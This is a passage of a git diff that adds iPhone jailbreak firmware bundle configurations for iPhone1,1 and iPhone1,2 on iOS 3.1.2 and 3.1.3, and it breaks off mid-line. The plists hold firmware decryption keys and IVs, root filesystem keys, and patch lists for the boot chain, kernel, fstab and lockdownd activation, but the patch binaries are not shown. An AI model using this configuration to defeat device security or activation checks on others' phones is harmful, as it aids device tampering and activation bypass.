Firmware/all_flash/all_flash.m68ap.production/recoverymode.s5l8900x.img3 + IV + 1df103ab51af7ad9f8488d9e3b9edf11 + Key + 72e3360fae2d22252f497bd08d060d83 + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6494-014.dmg + IV + 25e713dd5663badebe046d0ffa164fee + Key + 7029389c2dadaaa1d1e51bf579493824 + TypeFlag + 8 + + WTF + + File + Firmware/dfu/WTF.m68ap.RELEASE.dfu + Patch + WTF.m68ap.RELEASE.patch + TypeFlag + 8 + + WTF 2 + + File + Firmware/dfu/WTF.s5l8900xall.RELEASE.dfu + Patch + WTF.s5l8900xall.RELEASE.patch + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.m68ap.RELEASE.dfu + Patch + iBEC.m68ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.m68ap.RELEASE.dfu + Patch + iBSS.m68ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + File + Firmware/all_flash/all_flash.m68ap.production/iBoot.m68ap.RELEASE.img3 + IV + 768745fc3d6984e6d6938b819426a3cb + Key + 57baddbdf7d64453e26c1dec97027f9e + Patch + iBoot.m68ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPhone1,1_3.1.3_7E18 + Platform + 1 + PreInstalledPackages + + org.saurik.cydia + + RamdiskMountVolume + ramdisk + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RootFilesystem + 018-6482-014.dmg + RootFilesystemKey + 3C0F821663316C08A0A059C2979ECF47D13B363DE3A44010D0DE0B0A5CF878CFE39D00C3 + RootFilesystemMountVolume + SUNorthstarTwo7E18.iPhoneOS + RootFilesystemSize + 420 + SHA1 + eab23a7f8d2a17cb71046c50fc5f67ec390a3c2b + + diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/LLB.m68ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/LLB.m68ap.RELEASE.patch new file mode 100644 index 0000000..9257614 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/LLB.m68ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/Services.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/Services.patch new file mode 100644 index 0000000..3b2103d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/Services.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/WTF.m68ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/WTF.m68ap.RELEASE.patch new file mode 100644 index 0000000..df1b9a6 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/WTF.m68ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/WTF.s5l8900xall.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/WTF.s5l8900xall.RELEASE.patch new file mode 100644 index 0000000..be4a47f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/WTF.s5l8900xall.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/asr.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/asr.patch new file mode 100644 index 0000000..19afe4d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/asr.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/bbupdater.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/bbupdater.patch new file mode 100644 index 0000000..fa76259 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/bbupdater.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/fstab.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/fstab.patch new file mode 100644 index 0000000..8b10f3c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/fstab.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/iBEC.m68ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/iBEC.m68ap.RELEASE.patch new file mode 100644 index 0000000..df1b9a6 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/iBEC.m68ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/iBSS.m68ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/iBSS.m68ap.RELEASE.patch new file mode 100644 index 0000000..f3b5e15 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/iBSS.m68ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/iBoot.m68ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/iBoot.m68ap.RELEASE.patch new file mode 100644 index 0000000..d9dba91 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/iBoot.m68ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/kernelcache.release.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/kernelcache.release.patch new file mode 100644 index 0000000..e23556f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/kernelcache.release.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/lockdownd.patch b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/lockdownd.patch new file mode 100644 index 0000000..be4a1ae Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,1_3.1.3_7E18.bundle/lockdownd.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/Info.plist new file mode 100644 index 0000000..cd6a608 --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/Info.plist @@ -0,0 +1,199 @@ + + + + + DownloadUrl + http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone/061-7468.20100202.pbnrt/iPhone1,2_3.1.3_7E18_Restore.ipsw + Filename + iPhone1,2_3.1.3_7E18_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8900x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8900x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + Phone Activation + + + Action + Patch + File + usr/libexec/lockdownd + Name + Lockdownd Patch + Patch + lockdownd.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.n82ap.production/applelogo.s5l8900x.img3 + IV + 29900b1381b112bc6ca157b8d5e533fb + Key + f991b79dc86f1ed7d997785b4e93c0b9 + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8900x + IV + 25b7f586d184c329d3d05953a6516a36 + Key + dd03b5b52a53d3582b18a0052ef84038 + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.n82ap.production/LLB.n82ap.RELEASE.img3 + Patch + LLB.n82ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + Firmware/all_flash/all_flash.n82ap.production/recoverymode.s5l8900x.img3 + IV + 1df103ab51af7ad9f8488d9e3b9edf11 + Key + 72e3360fae2d22252f497bd08d060d83 + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6494-014.dmg + IV + 25e713dd5663badebe046d0ffa164fee + Key + 7029389c2dadaaa1d1e51bf579493824 + TypeFlag + 8 + + WTF + + File + Firmware/dfu/WTF.n82ap.RELEASE.dfu + Patch + WTF.n82ap.RELEASE.patch + TypeFlag + 8 + + WTF 2 + + File + Firmware/dfu/WTF.s5l8900xall.RELEASE.dfu + Patch + WTF.s5l8900xall.RELEASE.patch + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.n82ap.RELEASE.dfu + Patch + iBEC.n82ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.n82ap.RELEASE.dfu + Patch + iBSS.n82ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + File + Firmware/all_flash/all_flash.n82ap.production/iBoot.n82ap.RELEASE.img3 + IV + bc3a7ecbad75285a0b9ea96e268ac0c2 + Key + fcce502abcfac78aad6e842f64f79864 + Patch + iBoot.n82ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPhone1,2_3.1.2_7D11 + Platform + 3 + PreInstalledPackages + + org.saurik.cydia + + RamdiskMountVolume + ramdisk + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RootFilesystem + 018-6028-014.dmg + RootFilesystemKey + A8A886D56011D2D98B190D0A498F6FCAC719467047639CD601FD53A4A1D93C24E1B2DDC6 + RootFilesystemMountVolume + SUNorthstarTwo7E18.iPhoneOS + RootFilesystemSize + 420 + SHA1 + f5950afca546f93e281ba3cdb08bc0cfed7f0896 + + diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/LLB.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/LLB.n82ap.RELEASE.patch new file mode 100644 index 0000000..4e8c738 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/LLB.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/Services.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/Services.patch new file mode 100644 index 0000000..3b2103d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/Services.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/WTF.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/WTF.n82ap.RELEASE.patch new file mode 100644 index 0000000..397de12 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/WTF.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch new file mode 100644 index 0000000..be4a47f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/asr.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/asr.patch new file mode 100644 index 0000000..19afe4d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/asr.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/fstab.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/fstab.patch new file mode 100644 index 0000000..8b10f3c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/fstab.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/iBEC.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/iBEC.n82ap.RELEASE.patch new file mode 100644 index 0000000..397de12 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/iBEC.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/iBSS.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/iBSS.n82ap.RELEASE.patch new file mode 100644 index 0000000..c20e518 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/iBSS.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/iBoot.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/iBoot.n82ap.RELEASE.patch new file mode 100644 index 0000000..e24edf3 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/iBoot.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/kernelcache.release.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/kernelcache.release.patch new file mode 100644 index 0000000..e23556f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/kernelcache.release.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/lockdownd.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/lockdownd.patch new file mode 100644 index 0000000..be4a1ae Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.2_7D11.bundle/lockdownd.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/Info.plist new file mode 100644 index 0000000..d10f319 --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/Info.plist @@ -0,0 +1,199 @@ + + + + + DownloadUrl + http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone/061-7468.20100202.pbnrt/iPhone1,2_3.1.3_7E18_Restore.ipsw + Filename + iPhone1,2_3.1.3_7E18_Restore.ipsw + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8900x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8900x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + Phone Activation + + + Action + Patch + File + usr/libexec/lockdownd + Name + Lockdownd Patch + Patch + lockdownd.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.n82ap.production/applelogo.s5l8900x.img3 + IV + 29900b1381b112bc6ca157b8d5e533fb + Key + f991b79dc86f1ed7d997785b4e93c0b9 + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8900x + IV + 31e711201cf4dcf47be5be2a5b1b87a1 + Key + d0dfac22c03212f8a75fc9c69fe548b6 + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.n82ap.production/LLB.n82ap.RELEASE.img3 + Patch + LLB.n82ap.RELEASE.patch + TypeFlag + 8 + + RecoveryMode + + File + Firmware/all_flash/all_flash.n82ap.production/recoverymode.s5l8900x.img3 + IV + 1df103ab51af7ad9f8488d9e3b9edf11 + Key + 72e3360fae2d22252f497bd08d060d83 + TypeFlag + 2 + + Restore Ramdisk + + File + 018-6494-014.dmg + IV + 25e713dd5663badebe046d0ffa164fee + Key + 7029389c2dadaaa1d1e51bf579493824 + TypeFlag + 8 + + WTF + + File + Firmware/dfu/WTF.n82ap.RELEASE.dfu + Patch + WTF.n82ap.RELEASE.patch + TypeFlag + 8 + + WTF 2 + + File + Firmware/dfu/WTF.s5l8900xall.RELEASE.dfu + Patch + WTF.s5l8900xall.RELEASE.patch + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.n82ap.RELEASE.dfu + Patch + iBEC.n82ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.n82ap.RELEASE.dfu + Patch + iBSS.n82ap.RELEASE.patch + TypeFlag + 8 + + iBoot + + File + Firmware/all_flash/all_flash.n82ap.production/iBoot.n82ap.RELEASE.img3 + IV + bc3a7ecbad75285a0b9ea96e268ac0c2 + Key + fcce502abcfac78aad6e842f64f79864 + Patch + iBoot.n82ap.RELEASE.patch + TypeFlag + 8 + + + Name + iPhone1,2_3.1.3_7E18 + Platform + 3 + PreInstalledPackages + + org.saurik.cydia + + RamdiskMountVolume + ramdisk + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + RootFilesystem + 018-6482-014.dmg + RootFilesystemKey + BF5EB72CD65E9C37CF9920707CB6B4F7ECC10B38CFEC6B167002AC9FD6A3AB6643E45005 + RootFilesystemMountVolume + SUNorthstarTwo7E18.iPhoneOS + RootFilesystemSize + 420 + SHA1 + f5950afca546f93e281ba3cdb08bc0cfed7f0896 + + diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/LLB.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/LLB.n82ap.RELEASE.patch new file mode 100644 index 0000000..4e8c738 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/LLB.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/Services.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/Services.patch new file mode 100644 index 0000000..3b2103d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/Services.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/WTF.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/WTF.n82ap.RELEASE.patch new file mode 100644 index 0000000..397de12 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/WTF.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/WTF.s5l8900xall.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/WTF.s5l8900xall.RELEASE.patch new file mode 100644 index 0000000..be4a47f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/WTF.s5l8900xall.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/asr.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/asr.patch new file mode 100644 index 0000000..19afe4d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/asr.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/fstab.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/fstab.patch new file mode 100644 index 0000000..8b10f3c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/fstab.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/iBEC.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/iBEC.n82ap.RELEASE.patch new file mode 100644 index 0000000..397de12 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/iBEC.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/iBSS.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/iBSS.n82ap.RELEASE.patch new file mode 100644 index 0000000..c20e518 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/iBSS.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/iBoot.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/iBoot.n82ap.RELEASE.patch new file mode 100644 index 0000000..e24edf3 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/iBoot.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/kernelcache.release.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/kernelcache.release.patch new file mode 100644 index 0000000..e23556f Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/kernelcache.release.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/lockdownd.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/lockdownd.patch new file mode 100644 index 0000000..be4a1ae Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1.3_7E18.bundle/lockdownd.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/Info.plist b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/Info.plist new file mode 100644 index 0000000..f97b7c4 --- /dev/null +++ b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/Info.plist @@ -0,0 +1,211 @@ + + + + + FilesystemPatches + + Core Files Installation + + + Action + ReplaceKernel + File + kernelcache.release.s5l8900x + Name + KernelCache + Path + System/Library/Caches/com.apple.kernelcaches/kernelcache.s5l8900x + + + Filesystem Jailbreak + + + Action + Patch + File + etc/fstab + Name + Filesystem Write Access + Patch + fstab.patch + + + Action + Patch + File + System/Library/Lockdown/Services.plist + Name + Apple File Connection v2 + Patch + Services.patch + + + Phone Activation + + + Action + Patch + File + usr/libexec/lockdownd + Name + Lockdownd Patch + Patch + lockdownd.patch + + + + FirmwarePatches + + AppleLogo + + File + Firmware/all_flash/all_flash.n82ap.production/applelogo.s5l8900x.img3 + IV + 677b4c711e3cacb72505feae8e1eae5d + Key + 1fb738d6c091113d7dfdd89864a718d9 + TypeFlag + 2 + + RecoveryMode + + File + Firmware/all_flash/all_flash.n82ap.production/recoverymode.s5l8900x.img3 + IV + dbf44c3cc2944b87bdecdbdcd8e42b82 + Key + 6d7d035c04c60ab2776a5e7c729daf0a + TypeFlag + 2 + + KernelCache + + File + kernelcache.release.s5l8900x + IV + 25b7f586d184c329d3d05953a6516a36 + Key + dd03b5b52a53d3582b18a0052ef84038 + Patch + kernelcache.release.patch + TypeFlag + 4 + + LLB + + File + Firmware/all_flash/all_flash.n82ap.production/LLB.n82ap.RELEASE.img3 + Patch + LLB.n82ap.RELEASE.patch + TypeFlag + 8 + + Restore Ramdisk + + File + 018-6136-014.dmg + IV + 0e128e1f69806afc476b73250908d641 + Key + 6a4db11073eb748bad1fabafb066fe13 + TypeFlag + 8 + + Update Ramdisk + + File + 018-6134-014.dmg + IV + dc2c487fd5ce7d89c2fcfbec5846f40f + Key + 998aa71f7816e979697b2d4b25e6a8a0 + TypeFlag + 8 + + iBEC + + File + Firmware/dfu/iBEC.n82ap.RELEASE.dfu + Patch + iBEC.n82ap.RELEASE.patch + TypeFlag + 8 + + iBSS + + File + Firmware/dfu/iBSS.n82ap.RELEASE.dfu + Patch + iBSS.n82ap.RELEASE.patch + TypeFlag + 8 + + WTF + + File + Firmware/dfu/WTF.n82ap.RELEASE.dfu + Patch + WTF.n82ap.RELEASE.patch + TypeFlag + 8 + + WTF 2 + + File + Firmware/dfu/WTF.s5l8900xall.RELEASE.dfu + Patch + WTF.s5l8900xall.RELEASE.patch + TypeFlag + 8 + + iBoot + + File + Firmware/all_flash/all_flash.n82ap.production/iBoot.n82ap.RELEASE.img3 + IV + 13e320617bc655211e2b68042d4508f8 + Key + a4039d79cd6d41ce2b755ed566902103 + Patch + iBoot.n82ap.RELEASE.patch + TypeFlag + 8 + + + RamdiskPatches + + asr + + File + usr/sbin/asr + Patch + asr.patch + + + PreInstalledPackages + + org.saurik.cydia + com.ripdev.icy + + RamdiskMountVolume + ramdisk + RootFilesystem + 018-6028-014.dmg + RootFilesystemSize + 490 + RootFilesystemKey + A8A886D56011D2D98B190D0A498F6FCAC719467047639CD601FD53A4A1D93C24E1B2DDC6 + RootFilesystemMountVolume + Northstar7D11.iPhoneOS + SHA1 + b1a6ab2771bb5da372ba75a8fa3e1d72b71359d0 + Filename + iPhone1,2_3.1.2_7D11_Restore.ipsw + Name + iPhone1,2_3.1.2_7D11 + DownloadUrl + http://appldnld.apple.com.edgesuite.net/content.info.apple.com/iPhone/061-7265.20091008.Xsd32/iPhone1,2_3.1.2_7D11_Restore.ipsw + Platform + 3 + + diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/LLB.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/LLB.n82ap.RELEASE.patch new file mode 100644 index 0000000..5010ca6 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/LLB.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/Services.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/Services.patch new file mode 100644 index 0000000..3b2103d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/Services.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/WTF.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/WTF.n82ap.RELEASE.patch new file mode 100644 index 0000000..79e952e Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/WTF.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch new file mode 100644 index 0000000..91a0b93 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/WTF.s5l8900xall.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/asr.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/asr.patch new file mode 100644 index 0000000..19afe4d Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/asr.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/fstab.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/fstab.patch new file mode 100644 index 0000000..8b10f3c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/fstab.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/iBEC.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/iBEC.n82ap.RELEASE.patch new file mode 100644 index 0000000..79e952e Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/iBEC.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/iBSS.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/iBSS.n82ap.RELEASE.patch new file mode 100644 index 0000000..b7e422c Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/iBSS.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/iBoot.n82ap.RELEASE.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/iBoot.n82ap.RELEASE.patch new file mode 100644 index 0000000..3e11943 Binary files /dev/null and b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/iBoot.n82ap.RELEASE.patch differ diff --git a/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/kernelcache.release.patch b/igor/ipsw/FirmwareBundles/iPhone1,2_3.1_2_7D11.bundle/kernelcache.release.patch new file mode 100644 index 0000000..e0d5f52 Binary files /dev/null and 